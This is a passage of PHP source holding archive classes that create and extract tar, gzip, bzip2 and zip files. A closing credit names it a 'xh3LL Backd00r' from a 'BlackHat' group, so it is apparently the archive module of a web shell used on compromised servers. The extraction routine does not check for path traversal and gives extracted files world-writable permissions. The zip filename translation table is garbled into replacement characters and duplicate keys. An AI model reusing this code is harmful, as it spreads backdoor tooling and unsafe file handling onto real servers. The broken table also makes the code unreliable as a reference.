else if($this->archive = @fopen($this->options['name'] . ($this->options['type'] == "gzip" || $this->options['type'] == "bzip"? ".tmp" : ""),"wb+"))
{
chdir($pwd);
}
else
{
$this->error[] = "Could not open {$this->options['name']} for writing.";
chdir($pwd);
return 0;
}
}
else
{
$this->archive = "";
}
switch($this->options['type'])
{
case "zip":
if(!$this->create_zip())
{
$this->error[] = "Could not create zip file.";
return 0;
}
break;
case "bzip":
if(!$this->create_tar())
{
$this->error[] = "Could not create tar file.";
return 0;
}
if(!$this->create_bzip())
{
$this->error[] = "Could not create bzip2 file.";
return 0;
}
break;
case "gzip":
if(!$this->create_tar())
{
$this->error[] = "Could not create tar file.";
return 0;
}
if(!$this->create_gzip())
{
$this->error[] = "Could not create gzip file.";
return 0;
}
break;
case "tar":
if(!$this->create_tar())
{
$this->error[] = "Could not create tar file.";
return 0;
}
}
if($this->options['inmemory'] == 0)
{
fclose($this->archive);
chmod($this->options['name'],0666);
if($this->options['type'] == "gzip" || $this->options['type'] == "bzip")
{
unlink($this->options['basedir'] . "/" . $this->options['name'] . ".tmp");
}
}
}
function add_data($data)
{
if($this->options['inmemory'] == 0)
{
fwrite($this->archive,$data);
}
else
{
$this->archive .= $data;
}
}
function make_list()
{
if(!empty($this->exclude))
{
foreach($this->files as $key => $value)
{
foreach($this->exclude as $current)
{
if($value['name'] == $current['name'])
{
unset($this->files[$key]);
}
}
}
}
if(!empty($this->storeonly))
{
foreach($this->files as $key => $value)
{
foreach($this->storeonly as $current)
{
if($value['name'] == $current['name'])
{
$this->files[$key]['method'] = 0;
}
}
}
}
unset($this->exclude,$this->storeonly);
}
function add_files($list)
{
$temp = $this->list_files($list);
foreach($temp as $current)
{
$this->files[] = $current;
}
}
function exclude_files($list)
{
$temp = $this->list_files($list);
foreach($temp as $current)
{
$this->exclude[] = $current;
}
}
function store_files($list)
{
$temp = $this->list_files($list);
foreach($temp as $current)
{
$this->storeonly[] = $current;
}
}
function list_files($list)
{
if(!is_array($list))
{
$temp = $list;
$list = array($temp);
unset($temp);
}
$files = array();
$pwd = getcwd();
chdir($this->options['basedir']);
foreach($list as $current)
{
$current = str_replace("\\","/",$current);
$current = preg_replace("/\/+/","/",$current);
$current = preg_replace("/\/$/","",$current);
if(strstr($current,"*"))
{
$regex = preg_replace("/([\\\^\$\.\[\]\|\(\)\?\+\{\}\/])/","\\\\\\1",$current);
$regex = str_replace("*",".*",$regex);
$dir = strstr($current,"/")? substr($current,0,strrpos($current,"/")) : ".";
$temp = $this->parse_dir($dir);
foreach($temp as $current2)
{
if(preg_match("/^{$regex}$/i",$current2['name']))
{
$files[] = $current2;
}
}
unset($regex,$dir,$temp,$current);
}
else if(@is_dir($current))
{
$temp = $this->parse_dir($current);
foreach($temp as $file)
{
$files[] = $file;
}
unset($temp,$file);
}
else if(@file_exists($current))
{
$files[] = array('name'=>$current,'name2'=>$this->options['prepend'] .
preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($current,"/"))?
substr($current,strrpos($current,"/") + 1) : $current),'type'=>0,
'ext'=>substr($current,strrpos($current,".")),'stat'=>stat($current));
}
}
chdir($pwd);
unset($current,$pwd);
usort($files,array("archive","sort_files"));
return $files;
}
function parse_dir($dirname)
{
if($this->options['storepaths'] == 1 && !preg_match("/^(\.+\/*)+$/",$dirname))
{
$files = array(array('name'=>$dirname,'name2'=>$this->options['prepend'] .
preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname,"/"))?
substr($dirname,strrpos($dirname,"/") + 1) : $dirname),'type'=>5,'stat'=>stat($dirname)));
}
else
{
$files = array();
}
$dir = @opendir($dirname);
while($file = @readdir($dir))
{
if($file == "." || $file == "..")
{
continue;
}
else if(@is_dir($dirname."/".$file))
{
if(empty($this->options['recurse']))
{
continue;
}
$temp = $this->parse_dir($dirname."/".$file);
foreach($temp as $file2)
{
$files[] = $file2;
}
}
else if(@file_exists($dirname."/".$file))
{
$files[] = array('name'=>$dirname."/".$file,'name2'=>$this->options['prepend'] .
preg_replace("/(\.+\/+)+/","",($this->options['storepaths'] == 0 && strstr($dirname."/".$file,"/"))?
substr($dirname."/".$file,strrpos($dirname."/".$file,"/") + 1) : $dirname."/".$file),'type'=>0,
'ext'=>substr($file,strrpos($file,".")),'stat'=>stat($dirname."/".$file));
}
}
@closedir($dir);
return $files;
}
function sort_files($a,$b)
{
if($a['type'] != $b['type'])
{
return $a['type'] > $b['type']? -1 : 1;
}
else if($a['type'] == 5)
{
return strcmp(strtolower($a['name']),strtolower($b['name']));
}
else
{
if($a['ext'] != $b['ext'])
{
return strcmp($a['ext'],$b['ext']);
}
else if($a['stat'][7] != $b['stat'][7])
{
return $a['stat'][7] > $b['stat'][7]? -1 : 1;
}
else
{
return strcmp(strtolower($a['name']),strtolower($b['name']));
}
}
return 0;
}
function download_file()
{
if($this->options['inmemory'] == 0)
{
$this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
return;
}
switch($this->options['type'])
{
case "zip":
header("Content-type:application/zip");
break;
case "bzip":
header("Content-type:application/x-compressed");
break;
case "gzip":
header("Content-type:application/x-compressed");
break;
case "tar":
header("Content-type:application/x-tar");
}
$header = "Content-disposition: attachment; filename=\"";
$header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name'];
$header .= "\"";
header($header);
header("Content-length: " . strlen($this->archive));
header("Content-transfer-encoding: binary");
header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");
header("Expires: 0");
print($this->archive);
}
}
class tar_file extends archive
{
function tar_file($name)
{
$this->archive($name);
$this->options['type'] = "tar";
}
function create_tar()
{
$pwd = getcwd();
chdir($this->options['basedir']);
foreach($this->files as $current)
{
if($current['name'] == $this->options['name'])
{
continue;
}
if(strlen($current['name2']) > 99)
{
$path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1);
$current['name2'] = substr($current['name2'],strlen($path));
if(strlen($path) > 154 || strlen($current['name2']) > 99)
{
$this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long.";
continue;
}
}
$block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]),
sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])),
sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])),
" ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($path)? $path : "","");
$checksum = 0;
for($i = 0; $i < 512; $i++)
{
$checksum += ord(substr($block,$i,1));
}
$checksum = pack("a8",sprintf("%6s ",decoct($checksum)));
$block = substr_replace($block,$checksum,148,8);
if($current['stat'][7] == 0)
{
$this->add_data($block);
}
else if($fp = @fopen($current['name'],"rb"))
{
$this->add_data($block);
while($temp = fread($fp,1048576))
{
$this->add_data($temp);
}
if($current['stat'][7] % 512 > 0)
{
$temp = "";
for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
{
$temp .= "\0";
}
$this->add_data($temp);
}
fclose($fp);
}
else
{
$this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
}
}
$this->add_data(pack("a512",""));
chdir($pwd);
return 1;
}
function extract_files()
{
$pwd = getcwd();
chdir($this->options['basedir']);
if($fp = $this->open_archive())
{
if($this->options['inmemory'] == 1)
{
$this->files = array();
}
while($block = fread($fp,512))
{
$temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block);
$file = array(
'name'=>$temp['prefix'] . $temp['name'],
'stat'=>array(
2=>$temp['mode'],
4=>octdec($temp['uid']),
5=>octdec($temp['gid']),
7=>octdec($temp['size']),
9=>octdec($temp['mtime']),
),
'checksum'=>octdec($temp['checksum']),
'type'=>$temp['type'],
'magic'=>$temp['magic'],
);
if($file['checksum'] == 0x00000000)
{
break;
}
else if($file['magic'] != "ustar")
{
$this->error[] = "This script does not support extracting this type of tar file.";
break;
}
$block = substr_replace($block," ",148,8);
$checksum = 0;
for($i = 0; $i < 512; $i++)
{
$checksum += ord(substr($block,$i,1));
}
if($file['checksum'] != $checksum)
{
$this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
}
if($this->options['inmemory'] == 1)
{
$file['data'] = fread($fp,$file['stat'][7]);
fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
unset($file['checksum'],$file['magic']);
$this->files[] = $file;
}
else
{
if($file['type'] == 5)
{
if(!is_dir($file['name']))
{
mkdir($file['name'],0777);
//mkdir($file['name'],$file['stat'][2]);
//chown($file['name'],$file['stat'][4]);
//chgrp($file['name'],$file['stat'][5]);
}
}
else if($this->options['overwrite'] == 0 && file_exists($file['name']))
{
$this->error[] = "{$file['name']} already exists.";
}
else if($new = @fopen($file['name'],"wb"))
{
fwrite($new,fread($fp,$file['stat'][7]));
fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
fclose($new);
chmod($file['name'],0666);
//chmod($file['name'],$file['stat'][2]);
//chown($file['name'],$file['stat'][4]);
//chgrp($file['name'],$file['stat'][5]);
}
else
{
$this->error[] = "Could not open {$file['name']} for writing.";
}
}
unset($file);
}
}
else
{
$this->error[] = "Could not open file {$this->options['name']}";
}
chdir($pwd);
}
function open_archive()
{
return @fopen($this->options['name'],"rb");
}
}
class gzip_file extends tar_file
{
function gzip_file($name)
{
$this->tar_file($name);
$this->options['type'] = "gzip";
}
function create_gzip()
{
if($this->options['inmemory'] == 0)
{
$pwd = getcwd();
chdir($this->options['basedir']);
if($fp = gzopen($this->options['name'],"wb{$this->options['level']}"))
{
fseek($this->archive,0);
while($temp = fread($this->archive,1048576))
{
gzwrite($fp,$temp);
}
gzclose($fp);
chdir($pwd);
}
else
{
$this->error[] = "Could not open {$this->options['name']} for writing.";
chdir($pwd);
return 0;
}
}
else
{
$this->archive = gzencode($this->archive,$this->options['level']);
}
return 1;
}
function open_archive()
{
return @gzopen($this->options['name'],"rb");
}
}
class bzip_file extends tar_file
{
function bzip_file($name)
{
$this->tar_file($name);
$this->options['type'] = "bzip";
}
function create_bzip()
{
if($this->options['inmemory'] == 0)
{
$pwd = getcwd();
chdir($this->options['basedir']);
if($fp = bzopen($this->options['name'],"wb"))
{
fseek($this->archive,0);
while($temp = fread($this->archive,1048576))
{
bzwrite($fp,$temp);
}
bzclose($fp);
chdir($pwd);
}
else
{
$this->error[] = "Could not open {$this->options['name']} for writing.";
chdir($pwd);
return 0;
}
}
else
{
$this->archive = bzcompress($this->archive,$this->options['level']);
}
return 1;
}
function open_archive()
{
return @bzopen($this->options['name'],"rb");
}
}
class zip_file extends archive
{
function zip_file($name)
{
$this->archive($name);
$this->options['type'] = "zip";
}
function create_zip()
{
$files = 0;
$offset = 0;
$central = "";
if(!empty($this->options['sfx']))
{
if($fp = @fopen($this->options['sfx'],"rb"))
{
$temp = fread($fp,filesize($this->options['sfx']));
fclose($fp);
$this->add_data($temp);
$offset += strlen($temp);
unset($temp);
}
else
{
$this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
}
}
$pwd = getcwd();
chdir($this->options['basedir']);
foreach($this->files as $current)
{
if($current['name'] == $this->options['name'])
{
continue;
}
$translate = array('�'=>pack("C",128),'�'=>pack("C",129),'�'=>pack("C",130),'�'=>pack("C",131),'�'=>pack("C",132),
'�'=>pack("C",133),'�'=>pack("C",134),'�'=>pack("C",135),'�'=>pack("C",136),'�'=>pack("C",137),
'�'=>pack("C",138),'�'=>pack("C",139),'�'=>pack("C",140),'�'=>pack("C",141),'�'=>pack("C",142),
'�'=>pack("C",143),'�'=>pack("C",144),'�'=>pack("C",145),'�'=>pack("C",146),'�'=>pack("C",147),
'�'=>pack("C",148),'�'=>pack("C",149),'�'=>pack("C",150),'�'=>pack("C",151),'_'=>pack("C",152),
'�'=>pack("C",153),'�'=>pack("C",154),'�'=>pack("C",156),'�'=>pack("C",157),'_'=>pack("C",158),
'�'=>pack("C",159),'�'=>pack("C",160),'�'=>pack("C",161),'�'=>pack("C",162),'�'=>pack("C",163),
'�'=>pack("C",164),'�'=>pack("C",165));
$current['name2'] = strtr($current['name2'],$translate);
$timedate = explode(" ",date("Y n j G i s",$current['stat'][9]));
$timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
$block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate);
if($current['stat'][7] == 0 && $current['type'] == 5)
{
$block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000);
$block .= $current['name2'] . "/";
$this->add_data($block);
$central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
$central .= $current['name2'] . "/";
$files++;
$offset += (31 + strlen($current['name2']));
}
else if($current['stat'][7] == 0)
{
$block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000);
$block .= $current['name2'];
$this->add_data($block);
$central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
$central .= $current['name2'];
$files++;
$offset += (30 + strlen($current['name2']));
}
else if($fp = @fopen($current['name'],"rb"))
{
$temp = fread($fp,$current['stat'][7]);
fclose($fp);
$crc32 = crc32($temp);
if(!isset($current['method']) && $this->options['method'] == 1)
{
$temp = gzcompress($temp,$this->options['level']);
$size = strlen($temp) - 6;
$temp = substr($temp,2,$size);
}
else
{
$size = strlen($temp);
}
$block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000);
$block .= $current['name2'];
$this->add_data($block);
$this->add_data($temp);
unset($temp);
$central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset);
$central .= $current['name2'];
$files++;
$offset += (30 + strlen($current['name2']) + $size);
}
else
{
$this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
}
}
$this->add_data($central);
$this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset,
!empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000));
if(!empty($this->options['comment']))
{
$this->add_data($this->options['comment']);
}
chdir($pwd);
return 1;
}
}
// +--------------------------------------------------
// | THE END
// +--------------------------------------------------
?>
Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat